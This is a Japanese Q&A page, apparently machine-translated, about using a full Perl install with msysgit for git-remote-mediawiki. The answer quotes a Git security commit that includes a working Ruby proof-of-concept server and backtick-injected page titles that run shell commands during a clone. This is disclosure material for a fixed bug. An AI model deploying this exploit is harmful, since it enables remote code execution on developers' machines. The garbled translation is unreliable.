3

msysgit には最小限の perl ライブラリが同梱されています。

CPAN からいくつかのパッケージをダウンロードしたいので、完全な perl ライブラリを使用する必要があります。

どうやってするか?

git-remote-mediawikiより具体的には、プラグインを使用したいです。そのため、perl ライブラリの完全なインストールが必要です。

4

1 に答える 1

1

そのスクリプトを参照するように環境変数を変更するだけで十分な場合は (この記事のように)最初に確認します (を変更します)。PERL5LIBgit-cmd.bat

set PERL5LIB = c:\path\to\git\contrib

それ以外の場合、 のような外部のcontrib perl スクリプトについてはgit-remote-mediawiki、最近インストールされた Perl ディストリビューションを使用して、DOS セッションから試して実行することができます。
(暴徒がコメントで推奨しているように、 Strawberry Perlのように)。

git-cmd.bat(gitPATHとを適切に設定するHOME) を使用し、最初に独自の perl を追加することをお勧めします。

@set PATH=%git_install_root%\bin;%git_install_root%\mingw\bin;%git_install_root%\cmd;%PATH%
# let's add our perl:
@set PATH=path/to/yourPerl;%PATH%

これは、FAQで説明されている理由で古い perl に依存する msysgit インストールとは無関係です。

その理由は、Subversion モジュール (通常の Windows では提供されない POSIX 機能を使用して C で記述されているため、MSys が必要になる) をコンパイルできなかったため、MSys バージョンの Perl が必要だからです。


スクリプトを開始するにはこれで十分に思えましたが、OP linquizeはコメントに次のように追加します。

外部を呼び出すラッパープログラムを作成することになり、gitに書き込む前に変換する必要があります。そうしないと、受信した場合にgitがハングします。git-remote-mediawiki.exeperlCRLFLFstdoutCRLF


注: git-remote-mediawikiGit 2.29 (2020 年第 4 四半期)、および MediaWiki リモート バックエンドの最新化と修正により、より堅牢になりました。

コミット9A86064、コミット878D150 コミット4842A11 コミット2D6B08A F8AB018のコミット、 1D42B4Dのコミット、コミット2388541コミット4F80BC9DDE66EBのコミット、コミット9FF2958 コミット730858Eのコミットメント70858E コミットメント730、およびcommit 872977bcommit 442f5aa (2020 年 9 月 16 日) by Ævar Arnfjörð Bjarmason ( )。 見るavar
commit 96653ce (2020 年 9 月 21 日) by Simon Legner ( simon04) .
( 2020 年 10 月 4 日にコミット 5a25615Junio C Hamanoによってマージされました)gitster

例えば:

remote-mediawiki: 引用されたrun_git()呼び出しに変換

報告者: Joern Schneeweisz
署名者: Ævar Arnfjörð Bjarmason

run_safe()引用符で囲まれた引数のリストで呼び出すことができる呼び出しサイトを変更してください。

これにより、Joern Schneeweisz によって git-security メーリング リストに報告された、このトランスポート ヘルパーのRCE (リモート コード実行)バグが修正されます。
この問題は、remote-mediawiki コードが比較的不明瞭であるため公開されています。

セキュリティの問題は、Perl の " open -|" を介してこのようなコマンドを実行することです。ここで、は応答$nameから直接取得されます。api.phpそのため、たとえば次の JSON 応答が得られます。

[...]"title":"`id>/tmp/mw`:Main Page"[..]  

次の呼び出しになります。

git config --add remote.origin.namespaceCache "`id>/tmp/mw`:notANameSpace"  

このパッチによって変更されている次のようなコードから:

run_git(qq(config --add remote.${remotename}.namespaceCache "${name}:${store_id}"));  

したがって、任意のコマンドを実行し、構成に " remote.origin.namespaceCache=:notANameSpace" も追加します。
この変更により、これらすべてを引用するのでremote.origin.namespaceCache=``id>/tmp/x``:notANameSpace、リモート コマンドを実行せずに、単純に " " を構成に書き込みます。

実装について: 「ファイルハンドルをコマンドに開く」(「 Safe Pipe Opens 」も参照) で説明されているように、このスタイルの呼び出しopen()には、Perl 5.22 までの Windows での互換性の問題があります。
ただし、Johannes Schindelin は、このコンテキストでは Windows について心配する必要はないと述べています (彼の個人的な電子メールを引用)。

  1. mediawiki ヘルパーは、正式な Git for Windows バージョンの一部として出荷されたことはありません。また、公式の MSYS2 パッケージの一部でもありません。つまり、mediawiki ヘルパーを使用したい Windows ユーザーは Git を自分でビルドする必要がありますが、これを行うユーザーはあまり多くないようです。

  2. Perl v5.22.x に同梱された最後の Git for Windows バージョンは、Git for Windows v2.11.1 でした。Git for Windows v2.12.0 (2017 年 2 月 25 日にリリース) 以降、新しい Perl バージョンのみが含まれています。

open()それでは、このAPIを使用してみましょう。
ぐるぐる回ってみると、gitweb など、出荷されている他のさまざまな Perl コードがこの呼び出し方法を使用しているopen()ため、互換性に問題はないはずです。

さらなる参照と今後のテストのために、Joern が提供する有効なエクスプロイト コードを次に示します。

#!/usr/bin/ruby
# git client side RCE via `mediawiki` remote proof of concept
# Joern Schneeweisz - GitLab Security Research Team  

require 'sinatra'
set bind: '0.0.0.0'  

if not ARGV[0]  

puts "Please provide the shell command to be execucted."
exit -1  

end  

cmd = ARGV[0]
all_pages = sprintf('{"limits":{"allpages":500},"query":{"allpages":[{"pageid":1,"ns":3,"title":"`%s`:Main Page"}]}}', cmd)
revs = sprintf('{"query":{"pages":{"1":{"pageid":1,"ns":3,"title":"`%s`:Main Page","revisions":[{"revid":1,"parentid":0,"user":"MediaWiki default","timestamp":"2020-09-04T20:25:08Z","contentformat":"text/x-wiki","contentmodel":"wikitext","comment":"","*":"<al:MyLanguage/Help:Contents]"}]}}}}', cmd)
mainpage= sprintf('{"batchcomplete":"","query":{"pages":{"1":{"pageid":1,"ns":3,"title":"`%s`:Main Page","revisions":[{"revid":1,"parentid":0}]}}}}',cmd)  

post '/api.php' do  

if params[:list] == 'allpages'
  return all_pages
end  

if params[:prop] == 'revisions'
  return revs
end  

return mainpage
end  

どれの:

[...]次のように実行する必要がありますruby wiki.rb 'id>/tmp/mw'。ファイルを使用
してクローンを作成すると、クローン プロセス中に の出力を含む が作成されます。git clone mediawiki::http://localhost:4567/tmp/mwid

于 2013-04-06T10:08:48.220 に答える